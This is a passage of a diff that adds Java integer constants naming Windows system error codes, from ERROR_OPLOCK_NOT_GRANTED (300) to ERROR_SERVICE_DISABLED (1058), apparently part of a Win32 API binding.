+
+
+
+
+
+
+
+  public static final int ERROR_OPLOCK_NOT_GRANTED = 300;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_OPLOCK_PROTOCOL = 301;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_DISK_TOO_FRAGMENTED = 302;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_DELETE_PENDING = 303;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_MR_MID_NOT_FOUND = 317;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_SCOPE_NOT_FOUND = 318;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_FAIL_NOACTION_REBOOT = 350;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_FAIL_SHUTDOWN = 351;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_FAIL_RESTART = 352;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_MAX_SESSIONS_REACHED = 353;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_THREAD_MODE_ALREADY_BACKGROUND = 400;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_THREAD_MODE_NOT_BACKGROUND = 401;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_PROCESS_MODE_ALREADY_BACKGROUND = 402;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_PROCESS_MODE_NOT_BACKGROUND = 403;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_ADDRESS = 487;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_USER_PROFILE_LOAD = 500;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_ARITHMETIC_OVERFLOW = 534;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_PIPE_CONNECTED = 535;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_PIPE_LISTENING = 536;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_VERIFIER_STOP = 537;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_ABIOS_ERROR = 538;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_WX86_WARNING = 539;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_WX86_ERROR = 540;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_TIMER_NOT_CANCELED = 541;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_UNWIND = 542;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_BAD_STACK = 543;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_UNWIND_TARGET = 544;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_PORT_ATTRIBUTES = 545;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_PORT_MESSAGE_TOO_LONG = 546;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_QUOTA_LOWER = 547;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_DEVICE_ALREADY_ATTACHED = 548;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INSTRUCTION_MISALIGNMENT = 549;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_PROFILING_NOT_STARTED = 550;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_PROFILING_NOT_STOPPED = 551;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_COULD_NOT_INTERPRET = 552;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_PROFILING_AT_LIMIT = 553;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_CANT_WAIT = 554;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_CANT_TERMINATE_SELF = 555;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_UNEXPECTED_MM_CREATE_ERR = 556;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_UNEXPECTED_MM_MAP_ERROR = 557;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_UNEXPECTED_MM_EXTEND_ERR = 558;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_BAD_FUNCTION_TABLE = 559;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NO_GUID_TRANSLATION = 560;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_LDT_SIZE = 561;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_LDT_OFFSET = 563;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_LDT_DESCRIPTOR = 564;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_TOO_MANY_THREADS = 565;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_THREAD_NOT_IN_PROCESS = 566;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_PAGEFILE_QUOTA_EXCEEDED = 567;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_LOGON_SERVER_CONFLICT = 568;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_SYNCHRONIZATION_REQUIRED = 569;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NET_OPEN_FAILED = 570;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_IO_PRIVILEGE_FAILED = 571;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_CONTROL_C_EXIT = 572;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_MISSING_SYSTEMFILE = 573;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_UNHANDLED_EXCEPTION = 574;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_APP_INIT_FAILURE = 575;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_PAGEFILE_CREATE_FAILED = 576;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_IMAGE_HASH = 577;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NO_PAGEFILE = 578;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_ILLEGAL_FLOAT_CONTEXT = 579;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NO_EVENT_PAIR = 580;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_DOMAIN_CTRLR_CONFIG_ERROR = 581;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_ILLEGAL_CHARACTER = 582;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_UNDEFINED_CHARACTER = 583;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_FLOPPY_VOLUME = 584;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_BIOS_FAILED_TO_CONNECT_INTERRUPT = 585;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_BACKUP_CONTROLLER = 586;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_MUTANT_LIMIT_EXCEEDED = 587;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_FS_DRIVER_REQUIRED = 588;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_CANNOT_LOAD_REGISTRY_FILE = 589;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_DEBUG_ATTACH_FAILED = 590;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_SYSTEM_PROCESS_TERMINATED = 591;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_DATA_NOT_ACCEPTED = 592;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_VDM_HARD_ERROR = 593;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_DRIVER_CANCEL_TIMEOUT = 594;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_REPLY_MESSAGE_MISMATCH = 595;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_LOST_WRITEBEHIND_DATA = 596;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_CLIENT_SERVER_PARAMETERS_INVALID = 597;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NOT_TINY_STREAM = 598;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_STACK_OVERFLOW_READ = 599;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_CONVERT_TO_LARGE = 600;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_FOUND_OUT_OF_SCOPE = 601;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_ALLOCATE_BUCKET = 602;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_MARSHALL_OVERFLOW = 603;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_VARIANT = 604;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_BAD_COMPRESSION_BUFFER = 605;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_AUDIT_FAILED = 606;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_TIMER_RESOLUTION_NOT_SET = 607;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INSUFFICIENT_LOGON_INFO = 608;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_BAD_DLL_ENTRYPOINT = 609;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_BAD_SERVICE_ENTRYPOINT = 610;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_IP_ADDRESS_CONFLICT1 = 611;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_IP_ADDRESS_CONFLICT2 = 612;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_REGISTRY_QUOTA_LIMIT = 613;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NO_CALLBACK_ACTIVE = 614;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_PWD_TOO_SHORT = 615;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_PWD_TOO_RECENT = 616;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_PWD_HISTORY_CONFLICT = 617;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_UNSUPPORTED_COMPRESSION = 618;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_HW_PROFILE = 619;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_PLUGPLAY_DEVICE_PATH = 620;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_QUOTA_LIST_INCONSISTENT = 621;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_EVALUATION_EXPIRATION = 622;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_ILLEGAL_DLL_RELOCATION = 623;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_DLL_INIT_FAILED_LOGOFF = 624;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_VALIDATE_CONTINUE = 625;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NO_MORE_MATCHES = 626;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_RANGE_LIST_CONFLICT = 627;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_SERVER_SID_MISMATCH = 628;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_CANT_ENABLE_DENY_ONLY = 629;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_FLOAT_MULTIPLE_FAULTS = 630;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_FLOAT_MULTIPLE_TRAPS = 631;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NOINTERFACE = 632;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_DRIVER_FAILED_SLEEP = 633;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_CORRUPT_SYSTEM_FILE = 634;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_COMMITMENT_MINIMUM = 635;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_PNP_RESTART_ENUMERATION = 636;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_SYSTEM_IMAGE_BAD_SIGNATURE = 637;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_PNP_REBOOT_REQUIRED = 638;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INSUFFICIENT_POWER = 639;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_MULTIPLE_FAULT_VIOLATION = 640;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_SYSTEM_SHUTDOWN = 641;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_PORT_NOT_SET = 642;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_DS_VERSION_CHECK_FAILURE = 643;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_RANGE_NOT_FOUND = 644;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NOT_SAFE_MODE_DRIVER = 646;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_FAILED_DRIVER_ENTRY = 647;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_DEVICE_ENUMERATION_ERROR = 648;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_MOUNT_POINT_NOT_RESOLVED = 649;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_DEVICE_OBJECT_PARAMETER = 650;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_MCA_OCCURED = 651;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_DRIVER_DATABASE_ERROR = 652;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_SYSTEM_HIVE_TOO_LARGE = 653;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_DRIVER_FAILED_PRIOR_UNLOAD = 654;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_VOLSNAP_PREPARE_HIBERNATE = 655;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_HIBERNATION_FAILURE = 656;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_FILE_SYSTEM_LIMITATION = 665;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_ASSERTION_FAILURE = 668;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_ACPI_ERROR = 669;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_WOW_ASSERTION = 670;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_PNP_BAD_MPS_TABLE = 671;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_PNP_TRANSLATION_FAILED = 672;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_PNP_IRQ_TRANSLATION_FAILED = 673;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_PNP_INVALID_ID = 674;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_WAKE_SYSTEM_DEBUGGER = 675;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_HANDLES_CLOSED = 676;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_EXTRANEOUS_INFORMATION = 677;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_RXACT_COMMIT_NECESSARY = 678;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_MEDIA_CHECK = 679;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_GUID_SUBSTITUTION_MADE = 680;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_STOPPED_ON_SYMLINK = 681;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_LONGJUMP = 682;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_PLUGPLAY_QUERY_VETOED = 683;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_UNWIND_CONSOLIDATE = 684;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_REGISTRY_HIVE_RECOVERED = 685;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_DLL_MIGHT_BE_INSECURE = 686;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_DLL_MIGHT_BE_INCOMPATIBLE = 687;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_DBG_EXCEPTION_NOT_HANDLED = 688;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_DBG_REPLY_LATER = 689;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_DBG_UNABLE_TO_PROVIDE_HANDLE = 690;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_DBG_TERMINATE_THREAD = 691;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_DBG_TERMINATE_PROCESS = 692;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_DBG_CONTROL_C = 693;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_DBG_PRINTEXCEPTION_C = 694;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_DBG_RIPEXCEPTION = 695;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_DBG_CONTROL_BREAK = 696;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_DBG_COMMAND_EXCEPTION = 697;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_OBJECT_NAME_EXISTS = 698;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_THREAD_WAS_SUSPENDED = 699;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_IMAGE_NOT_AT_BASE = 700;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_RXACT_STATE_CREATED = 701;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_SEGMENT_NOTIFICATION = 702;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_BAD_CURRENT_DIRECTORY = 703;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_FT_READ_RECOVERY_FROM_BACKUP = 704;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_FT_WRITE_RECOVERY = 705;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_IMAGE_MACHINE_TYPE_MISMATCH = 706;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_RECEIVE_PARTIAL = 707;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_RECEIVE_EXPEDITED = 708;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_RECEIVE_PARTIAL_EXPEDITED = 709;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_EVENT_DONE = 710;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_EVENT_PENDING = 711;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_CHECKING_FILE_SYSTEM = 712;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_FATAL_APP_EXIT = 713;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_PREDEFINED_HANDLE = 714;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_WAS_UNLOCKED = 715;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_SERVICE_NOTIFICATION = 716;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_WAS_LOCKED = 717;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_LOG_HARD_ERROR = 718;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_ALREADY_WIN32 = 719;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_IMAGE_MACHINE_TYPE_MISMATCH_EXE = 720;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NO_YIELD_PERFORMED = 721;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_TIMER_RESUME_IGNORED = 722;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_ARBITRATION_UNHANDLED = 723;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_CARDBUS_NOT_SUPPORTED = 724;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_MP_PROCESSOR_MISMATCH = 725;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_HIBERNATED = 726;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_RESUME_HIBERNATION = 727;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_FIRMWARE_UPDATED = 728;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_DRIVERS_LEAKING_LOCKED_PAGES = 729;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_WAKE_SYSTEM = 730;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_WAIT_1 = 731;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_WAIT_2 = 732;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_WAIT_3 = 733;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_WAIT_63 = 734;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_ABANDONED_WAIT_0 = 735;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_ABANDONED_WAIT_63 = 736;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_USER_APC = 737;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_KERNEL_APC = 738;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_ALERTED = 739;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_ELEVATION_REQUIRED = 740;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_REPARSE = 741;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_OPLOCK_BREAK_IN_PROGRESS = 742;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_VOLUME_MOUNTED = 743;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_RXACT_COMMITTED = 744;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NOTIFY_CLEANUP = 745;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_PRIMARY_TRANSPORT_CONNECT_FAILED = 746;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_PAGE_FAULT_TRANSITION = 747;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_PAGE_FAULT_DEMAND_ZERO = 748;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_PAGE_FAULT_COPY_ON_WRITE = 749;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_PAGE_FAULT_GUARD_PAGE = 750;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_PAGE_FAULT_PAGING_FILE = 751;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_CACHE_PAGE_LOCKED = 752;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_CRASH_DUMP = 753;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_BUFFER_ALL_ZEROS = 754;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_REPARSE_OBJECT = 755;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_RESOURCE_REQUIREMENTS_CHANGED = 756;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_TRANSLATION_COMPLETE = 757;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NOTHING_TO_TERMINATE = 758;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_PROCESS_NOT_IN_JOB = 759;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_PROCESS_IN_JOB = 760;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_VOLSNAP_HIBERNATE_READY = 761;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_FSFILTER_OP_COMPLETED_SUCCESSFULLY = 762;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INTERRUPT_VECTOR_ALREADY_CONNECTED = 763;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INTERRUPT_STILL_CONNECTED = 764;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_WAIT_FOR_OPLOCK = 765;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_DBG_EXCEPTION_HANDLED = 766;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_DBG_CONTINUE = 767;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_CALLBACK_POP_STACK = 768;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_COMPRESSION_DISABLED = 769;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_CANTFETCHBACKWARDS = 770;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_CANTSCROLLBACKWARDS = 771;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_ROWSNOTRELEASED = 772;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_BAD_ACCESSOR_FLAGS = 773;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_ERRORS_ENCOUNTERED = 774;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NOT_CAPABLE = 775;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_REQUEST_OUT_OF_SEQUENCE = 776;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_VERSION_PARSE_ERROR = 777;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_BADSTARTPOSITION = 778;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_MEMORY_HARDWARE = 779;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_DISK_REPAIR_DISABLED = 780;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INSUFFICIENT_RESOURCE_FOR_SPECIFIED_SHARED_SECTION_SIZE = 781;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_SYSTEM_POWERSTATE_TRANSITION = 782;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_SYSTEM_POWERSTATE_COMPLEX_TRANSITION = 783;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_MCA_EXCEPTION = 784;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_ACCESS_AUDIT_BY_POLICY = 785;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_ACCESS_DISABLED_NO_SAFER_UI_BY_POLICY = 786;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_ABANDON_HIBERFILE = 787;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_LOST_WRITEBEHIND_DATA_NETWORK_DISCONNECTED = 788;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_LOST_WRITEBEHIND_DATA_NETWORK_SERVER_ERROR = 789;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_LOST_WRITEBEHIND_DATA_LOCAL_DISK_ERROR = 790;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_BAD_MCFG_TABLE = 791;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_EA_ACCESS_DENIED = 994;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_OPERATION_ABORTED = 995;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_IO_INCOMPLETE = 996;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_IO_PENDING = 997;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NOACCESS = 998;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_SWAPERROR = 999;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_STACK_OVERFLOW = 1001;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_MESSAGE = 1002;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_CAN_NOT_COMPLETE = 1003;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_FLAGS = 1004;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_UNRECOGNIZED_VOLUME = 1005;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_FILE_INVALID = 1006;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_FULLSCREEN_MODE = 1007;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NO_TOKEN = 1008;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_BADDB = 1009;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_BADKEY = 1010;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_CANTOPEN = 1011;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_CANTREAD = 1012;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_CANTWRITE = 1013;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_REGISTRY_RECOVERED = 1014;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_REGISTRY_CORRUPT = 1015;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_REGISTRY_IO_FAILED = 1016;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NOT_REGISTRY_FILE = 1017;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_KEY_DELETED = 1018;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NO_LOG_SPACE = 1019;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_KEY_HAS_CHILDREN = 1020;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_CHILD_MUST_BE_VOLATILE = 1021;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NOTIFY_ENUM_DIR = 1022;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_DEPENDENT_SERVICES_RUNNING = 1051;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_SERVICE_CONTROL = 1052;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_SERVICE_REQUEST_TIMEOUT = 1053;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_SERVICE_NO_THREAD = 1054;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_SERVICE_DATABASE_LOCKED = 1055;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_SERVICE_ALREADY_RUNNING = 1056;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_SERVICE_ACCOUNT = 1057;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_SERVICE_DISABLED = 1058;
+  
+
+
+
+
+
+
+
+
